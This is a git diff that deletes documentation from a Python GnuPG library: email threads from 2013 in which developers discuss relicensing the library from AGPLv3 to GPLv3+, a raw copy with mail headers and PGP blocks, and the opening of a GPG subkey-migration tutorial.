#4e9a06 } /* Literal.String */ -.na { color: #c4a000 } /* Name.Attribute */ -.nb { color: #204a87 } /* Name.Builtin */ -.nc { color: #000000 } /* Name.Class */ -.no { color: #000000 } /* Name.Constant */ -.nd { color: #5c35cc; font-weight: bold } /* Name.Decorator */ -.ni { color: #ce5c00 } /* Name.Entity */ -.ne { color: #cc0000; font-weight: bold } /* Name.Exception */ -.nf { color: #000000 } /* Name.Function */ -.nl { color: #f57900 } /* Name.Label */ -.nn { color: #000000 } /* Name.Namespace */ -.nx { color: #000000 } /* Name.Other */ -.py { color: #000000 } /* Name.Property */ -.nt { color: #204a87; font-weight: bold } /* Name.Tag */ -.nv { color: #000000 } /* Name.Variable */ -.ow { color: #204a87; font-weight: bold } /* Operator.Word */ -.w { color: #f8f8f8; text-decoration: underline } /* Text.Whitespace */ -.mf { color: #0000cf; font-weight: bold } /* Literal.Number.Float */ -.mh { color: #0000cf; font-weight: bold } /* Literal.Number.Hex */ -.mi { color: #0000cf; font-weight: bold } /* Literal.Number.Integer */ -.mo { color: #0000cf; font-weight: bold } /* Literal.Number.Oct */ -.sb { color: #4e9a06 } /* Literal.String.Backtick */ -.sc { color: #4e9a06 } /* Literal.String.Char */ -.sd { color: #8f5902; font-style: italic } /* Literal.String.Doc */ -.s2 { color: #4e9a06 } /* Literal.String.Double */ -.se { color: #4e9a06 } /* Literal.String.Escape */ -.sh { color: #4e9a06 } /* Literal.String.Heredoc */ -.si { color: #4e9a06 } /* Literal.String.Interpol */ -.sx { color: #4e9a06 } /* Literal.String.Other */ -.sr { color: #4e9a06 } /* Literal.String.Regex */ -.s1 { color: #4e9a06 } /* Literal.String.Single */ -.ss { color: #4e9a06 } /* Literal.String.Symbol */ -.bp { color: #3465a4 } /* Name.Builtin.Pseudo */ -.vc { color: #000000 } /* Name.Variable.Class */ -.vg { color: #000000 } /* Name.Variable.Global */ -.vi { color: #000000 } /* Name.Variable.Instance */ -.il { color: #0000cf; font-weight: bold } /* Literal.Number.Integer.Long */ diff --git a/docs/change-license-emails.txt b/docs/change-license-emails.txt deleted file mode 100644 index 7086089..0000000 --- a/docs/change-license-emails.txt +++ /dev/null @@ -1,272 +0,0 @@ -From: intrigeri <intrigeri@boum.org> -To: Isis! <isis@patternsinthevoid.net> -Subject: AGPL library, really? -Date: Thu, 04 Jul 2013 17:38:46 +0000 - -Hi isis, - -I see on https://pypi.python.org/pypi/gnupg that you released this -library under AGPLv3. Is this correct? - -If it is, then you might be interested to have a look to this long -ongoing thread on debian-devel mailing-list where I've seen explained -(by people I trust on this topic) that AGPLv3 is really not well -suited for libraries -- to start with, quite some of its terms are -ambiguous when one tries to apply them to a library: -https://lists.debian.org/debian-devel/2013/07/msg00031.html - -Cheers, --- - intrigeri - | GnuPG key @ https://gaffer.ptitcanardnoir.org/intrigeri/intrigeri.asc - | OTR fingerprint @ https://gaffer.ptitcanardnoir.org/intrigeri/otr.asc - - -From: isis agora lovecruft <isis@patternsinthevoid.net> -To: intrigeri <intrigeri@boum.org> -Subject: Re: AGPL library, really? -Date: Sun, 07 Jul 2013 04:20:13 +0000 - -Hi intrigeri! - -intrigeri transcribed 2.3K bytes: -> I see on https://pypi.python.org/pypi/gnupg that you released this -> library under AGPLv3. Is this correct? - -Yes, that it correct. - -> If it is, then you might be interested to have a look to this long -> ongoing thread on debian-devel mailing-list where I've seen explained -> (by people I trust on this topic) that AGPLv3 is really not well -> suited for libraries -- to start with, quite some of its terms are -> ambiguous when one tries to apply them to a library: -> https://lists.debian.org/debian-devel/2013/07/msg00031.html - -Okay, thanks! - -/me reads… - -I think this message better describes why AGPL is bad for libraries: -https://lists.debian.org/debian-devel/2013/07/msg00041.html or, at least, I -understood that one better than the first. - -I certainly do not want to make problems for Debian, and now that a bunch of -Tor, LEAP, CryptoParty, and Freebox projects, and perhaps soon Pip too, will -be depending on this, I *really* don't want to make anyone else's license hell -worse. - -Attached is an email from leap@lists.riseup.net where we had fisticuffs over -licensing opinions, wherein I explained my preference for AGPL for -everything. Essentially, I do not want people/corporations/etc. to use my work -in a closed source application and then potentially make changes to patch -found vulnerabilities without contributing those patches back to the main -codebase. - -Though, you're correct, this doesn't make sense for a library, as a -closed-source web-service frontend to this Python module likely isn't going to -get anyone exploited except the person running the service. So it doesn't make -as much sense. - -Do you know if it is okay for me to re-license it as regular GPL? - -Do you have any advice on which of GPLv(2|3)(\+)* that I should use? - -Thanks for pointing this out so quickly before it caused trouble, by the -way. :) - --- - ♥Ⓐisis agora lovecruft -_________________________________________________________ -GPG: 4096R/A3ADB67A2CDB8B35 -Current Keys: https://blog.patternsinthevoid.net/isis.txt - ---Attachment 1-- - Date: Tue, 28 May 2013 04:13:56 +0000 - From: isis agora lovecruft <isis@patternsinthevoid.net> - To: micah <micah@riseup.net> - Cc: leap@lists.riseup.net - X-GPG-Public-Key-URL: https://blog.patternsinthevoid.net/isis.txt - X-Louis-Lingg: In this hope do I say to you I despise you. I despise your - order, your laws, your force-propped authority. Hang me for it! - Subject: Re: [leap] license - - micah transcribed 1.3K bytes: - > Tomas Touceda <chiiph@riseup.net> writes: - > - > > On 05/13/2013 05:32 PM, elijah wrote: - > >> if you have any wisdom or opinions regarding the ever joyful and - > >> uncontroversial topic of free software licenses, then please deposit - > >> said wisdom or opinions in this wiki: - > >> - > >> https://we.riseup.net/leap/license - > >> - > >> in a nutshell, we need to decide on a license for the client. - > > - > > Does anybody have license knowledge a priori? Or should I get started - > > reading licenses? - > - > I'm supposed to have a more than zero knowledge of what constitutes free - > licenses due to my debian training, and debian is world-renknowned for - > having a particularly nasty debian-legal mailing list where licenses are - > chewed up and spit out... but I personally hate the topic and tend to - > avoid it as much as possible. - > - > So basically my opinons are: - > - > 1. no license that is incompatible with the DFSG[0] (debian free - > software guidelines) - it seems like we are probably in agreement about - > this? - - ACK - - > 2. BSD multi-claused licenses and MIT are confusing and annoying, so I - > tend to think they should be avoided due to this - > - - ACK - - > 3. openssl derived works require granting an exception with GPL licenses - > (an exception is trivial), so I prefer gnutls code where possible - > - - ACK - - > 4. it seems weird to make things AGPL that aren't webapps - > - - I started release everything I could AGPLv3 three years ago, after a - conversation with some other activist free-software devs: - - Me: "I want a license which says 'If you are part of any governing body or - corporation which contracts to any private or public military entity, then - you should go fuck youself. And no, you cannot use my software -- I will - sue your pants off.'" - - Them: "Isis, that is silly, and even na=C3=AFve. Universities are libraries are - often 'part of governing bodies', you don't want to exclude them, do you? - And also, you're like not going to see the blobs your code is included - in...it will get privately installed on custom military and law - enforcement hardware, and when they're done with it it'll go and rot - outside on a base or in a police confiscation parking lot somewhere." - - Me: "Hum. I hate talking about licenses anyway." - - Them: "Yeah, it sucks. But it's important for us to take this seriously, - because the tools we're working on have the potential for helping us - better organise at protests, as well as better help the cops kettle us - into paddy wagons." [one of the tools was a crisis mapping thing] - - Different one of them: "Perhaps you both should read AGPL, and see if that - helps. I don't think using law against them is going to work, because we - can't assume they will play by the rules, but if we're arguing licenses - anyway..." - - AGPL also seems useful when it seems possible that shady closed-source - startups are going to add a fancier UI or other feature to your code, and then - market it. This is especially worrying, not because they are "stealing users", - but because it's never clear if vulns discovered in your own code have been - fixed in theirs and vice versa. Or, it could get used in way that is - dangerous, or that it wasn't meant for. (For example, there is currently a - concern that a certain shell company is going to use OONI's code on these - little android-system-on-a-USB dongly thingies...and there are certain dangers - with Tor on Android that these people either don't understand or have no - intention of warning users about.) - - Anyway. There is my argument for AGPL. - - Though I also hate these discussions, don't care about laws, think reformism - is bunk, WTFPL is the only sane LICENSE, and all that jazz, so I'm going to go - stand over there -----------------------------------------------------------> - and watch everybody else duke it out. :) - - -- - ♥Ⓐ isis agora lovecruft - _________________________________________________________ - GPG: 4096R/A3ADB67A2CDB8B35 - Current Keys: https://blog.patternsinthevoid.net/isis.txt ---End Attachment 1-- - -From: intrigeri <intrigeri@boum.org> -To: Isis! <isis@patternsinthevoid.net> -Subject: Re: AGPL library, really? -Date: Tue, 09 Jul 2013 18:30:46 +0000 - -Hi isis, - -isis agora lovecruft wrote (07 Jul 2013 04:20:13 GMT) : -> I think this message better describes why AGPL is bad for libraries: -> https://lists.debian.org/debian-devel/2013/07/msg00041.html -> or, at least, I understood that one better than the first. - -TBH, I've pointed you at the beginning of the thread because I was too -lazy to go fetch the best email in there. I'm glad it helps anyway. - -> Do you know if it is okay for me to re-license it as regular GPL? - -I've just re-read a bit to confirm, and my conclusion is that: yeah, -as the sole copyright holder (is this the case?) you can freely -re-licence to whatever you want. - -> Do you have any advice on which of GPLv(2|3)(\+)* that I should use? - -I usually do GPL-3+, but I would not be able to defend it seriously -against v2 or v2+. - -> Thanks for pointing this out so quickly before it caused trouble, by the -> way. :) - -Np. - -Cheers! --- - intrigeri - | GnuPG key @ https://gaffer.ptitcanardnoir.org/intrigeri/intrigeri.asc - | OTR fingerprint @ https://gaffer.ptitcanardnoir.org/intrigeri/otr.asc - -From: isis agora lovecruft <isis@patternsinthevoid.net> -To: intrigeri <intrigeri@boum.org> -Subject: Re: AGPL library, really? -Date: Thu, 11 Jul 2013 09:24:12 +0000 - -intrigeri transcribed 2.6K bytes: -> isis agora lovecruft wrote (07 Jul 2013 04:20:13 GMT) : -> > Do you know if it is okay for me to re-license it as regular GPL? -> -> I've just re-read a bit to confirm, and my conclusion is that: yeah, -> as the sole copyright holder (is this the case?) you can freely -> re-licence to whatever you want. - -Hey intrigeri, - -I've decided to re-license with your recommendation of GPL3+. Is it okay to -credit you and/or publicly point to these emails as the basis for the -rationale for the switch? - --- - ♥Ⓐ isis agora lovecruft -_________________________________________________________ -GPG: 4096R/A3ADB67A2CDB8B35 -Current Keys: https://blog.patternsinthevoid.net/isis.txt - -From: intrigeri <intrigeri@boum.org> -To: Isis! <isis@patternsinthevoid.net> -Subject: Re: AGPL library, really? -Date: Sun, 14 Jul 2013 22:33:35 +0000 - -Hi isis, - -> Is it okay to credit you and/or publicly point to these emails as -> the basis for the rationale for the switch? - -Feel free to credit me if you wish, but I certainly don't feel it's -necessary. - -I feel a bit lazy to read this thread again to check if it's fine to -publish stuff from there, so if you don't mind, I'd rather skip this -part ;) - -Cheers, --- - intrigeri - | GnuPG key @ https://gaffer.ptitcanardnoir.org/intrigeri/intrigeri.asc - | OTR fingerprint @ https://gaffer.ptitcanardnoir.org/intrigeri/otr.asc diff --git a/docs/change-license-emails.txt~ b/docs/change-license-emails.txt~ deleted file mode 100644 index c73ff17..0000000 --- a/docs/change-license-emails.txt~ +++ /dev/null @@ -1,437 +0,0 @@ -Return-path: <intrigeri@boum.org> -Envelope-to: isis@patternsinthevoid.net -Delivery-date: Thu, 04 Jul 2013 11:38:58 -0600 -Received: from pattern7 by box658.bluehost.com with local-bsmtp (Exim 4.80) - (envelope-from <intrigeri@boum.org>) - id 1UunUg-0005CD-4Y - for isis@patternsinthevoid.net; Thu, 04 Jul 2013 11:38:58 -0600 -X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on box658.bluehost.com -X-Spam-Level: -X-Spam-Status: No, score=0.0 required=7.0 tests=AWL,BAYES_00,RDNS_NONE, - T_MIME_NO_TEXT,UNPARSEABLE_RELAY shortcircuit=no autolearn=no version=3.3.1 -Received: from [204.13.164.192] (port=50585 helo=boum.org) - by box658.bluehost.com with esmtps (TLSv1:CAMELLIA256-SHA:256) - (Exim 4.80) - (envelope-from <intrigeri@boum.org>) - id 1UunUf-0005B2-OL - for isis@patternsinthevoid.net; Thu, 04 Jul 2013 11:38:57 -0600 -Received: from localhost (unknown [10.36.27.20]) - by boum.org (Postfix) with ESMTP id C051A44543 - for <isis@patternsinthevoid.net>; Thu, 4 Jul 2013 19:38:55 +0200 (CEST) -Received: from boum.org ([10.36.27.29]) - by localhost (censure.boum.org [10.36.27.20]) (amavisd-new, port 10024) - with ESMTP id EzLEA-Rb12Hz for <isis@patternsinthevoid.net>; - Thu, 4 Jul 2013 19:38:55 +0200 (CEST) -Received: from [127.0.0.1] (localhost [127.0.0.1]) - with ESMTPSA id D9A8F4447E -Received: from localhost (localhost [127.0.0.1]) - by localhost (Postfix) with ESMTP id 75BE2721E69 - for <isis@patternsinthevoid.net>; Thu, 4 Jul 2013 19:38:46 +0200 (CEST) -Message-Id: <85ehbep6mx.fsf@boum.org> -From: intrigeri <intrigeri@boum.org> -To: Isis! <isis@patternsinthevoid.net> -Subject: AGPL library, really? -Date: Thu, 04 Jul 2013 19:38:46 +0200 -MIME-Version: 1.0 -Content-Type: multipart/encrypted; boundary="=-=-="; - protocol="application/pgp-encrypted" -X-Identified-User: {3202:box658.bluehost.com:pattern7:patternsinthevoid.net} {sentby:spamassassin for local delivery to identified user} - ---=-=-= -Content-Type: application/pgp-encrypted - -Version: 1 - ---=-=-= -Content-Type: application/octet-stream - ------BEGIN PGP MESSAGE----- -Version: GnuPG v1.4.12 (GNU/Linux) - -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 -fMT2Dws+/n9Y2YQ= -=jcmz ------END PGP MESSAGE----- ---=-=-=-- -Content-Type: text/plain - -Hi, - -I see on https://pypi.python.org/pypi/gnupg that you released this -library under AGPLv3. Is this correct? - -If it is, then you might be interested to have a look to this long -ongoing thread on debian-devel mailing-list where I've seen explained -(by people I trust on this topic) that AGPLv3 is really not well -suited for libraries -- to start with, quite some of its terms are -ambiguous when one tries to apply them to a library: -https://lists.debian.org/debian-devel/2013/07/msg00031.html - -Cheers, --- - intrigeri - | GnuPG key @ https://gaffer.ptitcanardnoir.org/intrigeri/intrigeri.asc - | OTR fingerprint @ https://gaffer.ptitcanardnoir.org/intrigeri/otr.asc -Content-Type: text/plain - -Hi isis, - -isis agora lovecruft wrote (07 Jul 2013 04:20:13 GMT) : -> I think this message better describes why AGPL is bad for libraries: -> https://lists.debian.org/debian-devel/2013/07/msg00041.html -> or, at least, I understood that one better than the first. - -TBH, I've pointed you at the beginning of the thread because I was too -lazy to go fetch the best email in there. I'm glad it helps anyway. - -> Do you know if it is okay for me to re-license it as regular GPL? - -I've just re-read a bit to confirm, and my conclusion is that: yeah, -as the sole copyright holder (is this the case?) you can freely -re-licence to whatever you want. - -> Do you have any advice on which of GPLv(2|3)(\+)* that I should use? - -I usually do GPL-3+, but I would not be able to defend it seriously -against v2 or v2+. - -> Thanks for pointing this out so quickly before it caused trouble, by the -> way. :) - -Np. - -Cheers! --- - intrigeri - | GnuPG key @ https://gaffer.ptitcanardnoir.org/intrigeri/intrigeri.asc - | OTR fingerprint @ https://gaffer.ptitcanardnoir.org/intrigeri/otr.asc -Content-Type: text/plain - -Hi isis, - -> Is it okay to credit you and/or publicly point to these emails as -> the basis for the rationale for the switch? - -Feel free to credit me if you wish, but I certainly don't feel it's -necessary. - -I feel a bit lazy to read this thread again to check if it's fine to -publish stuff from there, so if you don't mind, I'd rather skip this -part ;) - -Cheers, --- - intrigeri - | GnuPG key @ https://gaffer.ptitcanardnoir.org/intrigeri/intrigeri.asc - | OTR fingerprint @ https://gaffer.ptitcanardnoir.org/intrigeri/otr.asc -Content-Type: multipart/mixed; boundary="LwW0XdcUbUexiWVK" -Content-Disposition: inline - - ---LwW0XdcUbUexiWVK -Content-Type: text/plain; charset=utf-8 -Content-Disposition: inline -Content-Transfer-Encoding: quoted-printable - -intrigeri transcribed 2.3K bytes: -> I see on https://pypi.python.org/pypi/gnupg that you released this -> library under AGPLv3. Is this correct? - -Yes, that it correct. - -> If it is, then you might be interested to have a look to this long -> ongoing thread on debian-devel mailing-list where I've seen explained -> (by people I trust on this topic) that AGPLv3 is really not well -> suited for libraries -- to start with, quite some of its terms are -> ambiguous when one tries to apply them to a library: -> https://lists.debian.org/debian-devel/2013/07/msg00031.html - -Okay, thanks! - -/me reads=E2=80=A6 - -I think this message better describes why AGPL is bad for libraries: -https://lists.debian.org/debian-devel/2013/07/msg00041.html -or, at least, I understood that one better than the first. - -I certainly do not want to make problems for Debian, and now that a bunch of -Tor, LEAP, CryptoParty, and Freebox projects, and perhaps soon Pip too, will -be depending on this, I *really* don't want to make anyone else's license h= -ell -worse. - -Attached is an email from leap@lists.riseup.net where we had fisticuffs over -licensing opinions, wherein I explained my preference for AGPL for -everything. Essentially, I do not want people/corporations/etc. to use my w= -ork -in a closed source application and then potentially make changes to patch -found vulnerabilities without contributing those patches back to the main -codebase. - -Though, you're correct, this doesn't make sense for a library, as a -closed-source web-service frontend to this Python module likely isn't going= - to -get anyone exploited except the person running the service. So it doesn't m= -ake -as much sense. - -Do you know if it is okay for me to re-license it as regular GPL? - -Do you have any advice on which of GPLv(2|3)(\+)* that I should use? - -Thanks for pointing this out so quickly before it caused trouble, by the -way. :) - ---=20 - =E2=99=A5=E2=92=B6 isis agora lovecruft -_________________________________________________________ -GPG: 4096R/A3ADB67A2CDB8B35 -Current Keys: https://blog.patternsinthevoid.net/isis.txt - ---LwW0XdcUbUexiWVK -Content-Type: text/plain; charset=utf-8 -Content-Disposition: attachment; filename=to-intrigeri -Content-Transfer-Encoding: quoted-printable - -=46rom leap-owner@lists.riseup.net Tue May 28 04:14:29 2013 -Date: Tue, 28 May 2013 04:13:56 +0000 -=46rom: isis agora lovecruft <isis@patternsinthevoid.net> -To: micah <micah@riseup.net> -Cc: Tomas Touceda <chiiph@riseup.net>, leap@lists.riseup.net -Message-ID: <20130528041356.GL14793@patternsinthevoid.net> -Reply-To: isis@patternsinthevoid.net -References: <51914DF8.2020507@riseup.net> - <51A38709.5050408@riseup.net> - <87a9ng74wn.fsf@muck.riseup.net> -MIME-Version: 1.0 -Content-Type: text/plain; charset=3Dutf-8; x-action=3Dpgp-signed -Content-Transfer-Encoding: 8bit -In-Reply-To: <87a9ng74wn.fsf@muck.riseup.net> -X-GPG-Public-Key-URL: https://blog.patternsinthevoid.net/isis.txt -X-Louis-Lingg: In this hope do I say to you I despise you. I despise your - order, your laws, your force-propped authority. Hang me for it! -X-Virus-Scanned: clamav-milter 0.97.8 at willet -X-Virus-Status: Clean -Subject: Re: [leap] license -X-Loop: leap@lists.riseup.net -X-Sequence: 404 -Errors-to: leap-owner@lists.riseup.net -Precedence: list -Precedence: bulk -X-no-archive: yes -List-Id: <leap.lists.riseup.net> -List-Help: <mailto:sympa@lists.riseup.net?subject=3Dhelp> -List-Subscribe: <mailto:sympa@lists.riseup.net?subject=3Dsubscribe%20leap> -List-Unsubscribe: <mailto:sympa@lists.riseup.net?subject=3Dunsubscribe%20le= -ap> -List-Post: <mailto:leap@lists.riseup.net> -List-Owner: <mailto:leap-request@lists.riseup.net> -List-Archive: <https://lists.riseup.net/www/arc/leap> - ------BEGIN PGP SIGNED MESSAGE----- -Hash: SHA512 - -micah transcribed 1.3K bytes: -> Tomas Touceda <chiiph@riseup.net> writes: ->=20 -> > On 05/13/2013 05:32 PM, elijah wrote: -> >> if you have any wisdom or opinions regarding the ever joyful and -> >> uncontroversial topic of free software licenses, then please deposit -> >> said wisdom or opinions in this wiki: -> >>=20 -> >> https://we.riseup.net/leap/license -> >>=20 -> >> in a nutshell, we need to decide on a license for the client. -> >>=20 -> > -> > Does anybody have license knowledge a priori? Or should I get started -> > reading licenses? ->=20 -> I'm supposed to have a more than zero knowledge of what constitutes free -> licenses due to my debian training, and debian is world-renknowned for -> having a particularly nasty debian-legal mailing list where licenses are -> chewed up and spit out... but I personally hate the topic and tend to -> avoid it as much as possible. ->=20 -> So basically my opinons are:=20 ->=20 -> 1. no license that is incompatible with the DFSG[0] (debian free -> software guidelines) - it seems like we are probably in agreement about -> this? ->=20 - -ACK - -> 2. BSD multi-claused licenses and MIT are confusing and annoying, so I -> tend to think they should be avoided due to this ->=20 - -ACK - -> 3. openssl derived works require granting an exception with GPL licenses -> (an exception is trivial), so I prefer gnutls code where possible ->=20 - -ACK - -> 4. it seems weird to make things AGPL that aren't webapps ->=20 - -I started release everything I could AGPLv3 three years ago, after a -conversation with some other activist free-software devs: - - Me: "I want a license which says 'If you are part of any governing body= - or - corporation which contracts to any private or public military entity, t= -hen - you should go fuck youself. And no, you cannot use my software -- I will - sue your pants off.'" - - Them: "Isis, that is silly, and even na=C3=AFve. Universities are libra= -ries are - often 'part of governing bodies', you don't want to exclude them, do yo= -u? - And also, you're like not going to see the blobs your code is included - in...it will get privately installed on custom military and law - enforcement hardware, and when they're done with it it'll go and rot - outside on a base or in a police confiscation parking lot somewhere." - - Me: "Hum. I hate talking about licenses anyway." - - Them: "Yeah, it sucks. But it's important for us to take this seriously, - because the tools we're working on have the potential for helping us - better organise at protests, as well as better help the cops kettle us - into paddy wagons." [one of the tools was a crisis mapping thing] - - Different one of them: "Perhaps you both should read AGPL, and see if t= -hat - helps. I don't think using law against them is going to work, because we - can't assume they will play by the rules, but if we're arguing licenses - anyway..." - -AGPL also seems useful when it seems possible that shady closed-source -startups are going to add a fancier UI or other feature to your code, and t= -hen -market it. This is especially worrying, not because they are "stealing user= -s", -but because it's never clear if vulns discovered in your own code have been -fixed in theirs and vice versa. Or, it could get used in way that is -dangerous, or that it wasn't meant for. (For example, there is currently a -concern that a certain shell company is going to use OONI's code on these -little android-system-on-a-USB dongly thingies...and there are certain dang= -ers -with Tor on Android that these people either don't understand or have no -intention of warning users about.) - -Anyway. There is my argument for AGPL. - -Though I also hate these discussions, don't care about laws, think reformism -is bunk, WTFPL is the only sane LICENSE, and all that jazz, so I'm going to= - go -stand over there ----------------------------------------------------------= --> -and watch everybody else duke it out. :) - -<(A)3 -isis agora lovecruft - -- --=20 -GPG: 4096R/A3ADB67A2CDB8B35 -Current Keys: https://blog.patternsinthevoid.net/isis.txt ------BEGIN PGP SIGNATURE----- - -iQJuBAEBCgBYBQJRpC8DBYMB4TOASxSAAAAAABoAKGlzaXNAcGF0dGVybnNpbnRo -ZXZvaWQubmV0MEE2QTU4QTE0QjU5NDZBQkRFMThFMjA3QTNBREI2N0EyQ0RCOEIz -NQAKCRCjrbZ6LNuLNVkVD/9NVDCeFvMbAeGSCbXt/gMlyZ/OJfQcS2WwuegaRR8B -BtfujOIKEA/D9zywCTJYpk9gVQo1TqG7EiTdG25FU9cVnlf4/E0Dp/6vKS4q4T9j -Bba+lxMjoZ0ivC+nVIf2pQS1YK0PtiGZDLj4cVh5UuYcSZA0kxCh4KamqrEq/WdE -iYyd1WWvNFDYaWhsB5+DlqRi7PNs7IF7mxegGOpkqVR31NrFu9WxThFpiFKmT7m+ -cEHzdGmVfa8iz2yTDrh8D01rw54GHIam8OdLp/SuyBsaaSD6UZsYXEc8L6ePR8Xa -QkO/n9PZAo2vm5Ph+ASIOKwRX5DdiiTawJ7sBb9/e0QIwsiQ0Q9nrB7Qbbv053ko -S7Bqu37hZiCjO2aPDCAF2r4UMGJw1Qy/FJme3TYEav1qL61sOYKCVwhfF2/IWzA+ -kO8+4Ei4AKcoLkc6cQUDrQBgwRqEd9qzDSL5/JLJOW7Gkc5rBAADVJcPbFKuMpPr -evqdtjFXdej3KsrqdvnNRA6Q8t1XDv2CUxoK8/YK3CzPa8GbqjwS5J1pIDgA2tl9 -RRYoPgfgXcYf3sQJSJUoPGUOQAqduu0WeLJFHi/kXRqzQf4nGFCUg/mi6lsGswcF -pBguGmO8deoRi59ddhek2Pgpi9hUE2cjasAgZb1B54XmjYYkDqe+owfvWDOKXOZa -AQ=3D=3D -=3DUxwA ------END PGP SIGNATURE----- - ---LwW0XdcUbUexiWVK-- -Content-Type: text/plain; charset=utf-8 -Content-Disposition: inline -Content-Transfer-Encoding: quoted-printable - -intrigeri transcribed 2.6K bytes: -> isis agora lovecruft wrote (07 Jul 2013 04:20:13 GMT) : -> > Do you know if it is okay for me to re-license it as regular GPL? ->=20 -> I've just re-read a bit to confirm, and my conclusion is that: yeah, -> as the sole copyright holder (is this the case?) you can freely -> re-licence to whatever you want. - -Hey intrigeri, - -I've decided to relicence with your recommendation of GPL3+. Is it okay to -credit you and/or publicly point to these emails as the basis for the -rationale for the switch? - ---=20 - =E2=99=A5=E2=92=B6 isis agora lovecruft -_________________________________________________________ -GPG: 4096R/A3ADB67A2CDB8B35 -Current Keys: https://blog.patternsinthevoid.net/isis.txt -Content-Type: text/plain; charset=utf-8 -Content-Disposition: inline -Content-Transfer-Encoding: quoted-printable - -intrigeri transcribed 2.6K bytes: -> isis agora lovecruft wrote (07 Jul 2013 04:20:13 GMT) : -> > Do you know if it is okay for me to re-license it as regular GPL? ->=20 -> I've just re-read a bit to confirm, and my conclusion is that: yeah, -> as the sole copyright holder (is this the case?) you can freely -> re-licence to whatever you want. - -Hey intrigeri, - -I've decided to relicence with your recommendation of GPL3+. Is it okay to -credit you and/or publicly point to these emails as the basis for the -rationale for the switch? - ---=20 - =E2=99=A5=E2=92=B6 isis agora lovecruft -_________________________________________________________ -GPG: 4096R/A3ADB67A2CDB8B35 -Current Keys: https://blog.patternsinthevoid.net/isis.txt diff --git a/docs/gpg-migrate.txt b/docs/gpg-migrate.txt deleted file mode 100644 index 1d07450..0000000 --- a/docs/gpg-migrate.txt +++ /dev/null @@ -1,208 +0,0 @@ -# taken from http://atom.smasher.org/gpg/gpg-migrate.txt on 8 Aug 2013 - ------BEGIN PGP SIGNED MESSAGE----- -Hash: SHA1 - -HOW TO MIGRATE A (SUB)KEY INTO A NEW KEY - -this document [is intended to] explain how to migrate a key or subkey from -one OpenPGP key into another OpenPGP key. - -here i'll walk you through the steps of migrating my old primary signing -key (3D7D41E3) into my new key (D9F57808). the process of migrating -encryption (and signing) subkeys is nearly identical. for the adventurous, -you can even migrate several keys at once using this method (i recommend -going through it once or twice with only one key). - -============================================================================ - -doing this requires: - 1) basic knowledge of a *nix command line and how to use it - 2) advanced knowledge of gpg and how to use it - 3) common sense (BACKUP YOUR DATA!!) - -please note: - * this works for me. that does not necessarily mean that it will - work for you - * if you screw something up, it's *YOUR* problem, not mine - * this was tested with GnuPG 1.2.4, and written on or about - 12 May 2004 - * updates, if there are any, will probably be noted above - * comments and suggestions about this tutorial should be sent to: - <atom {at} 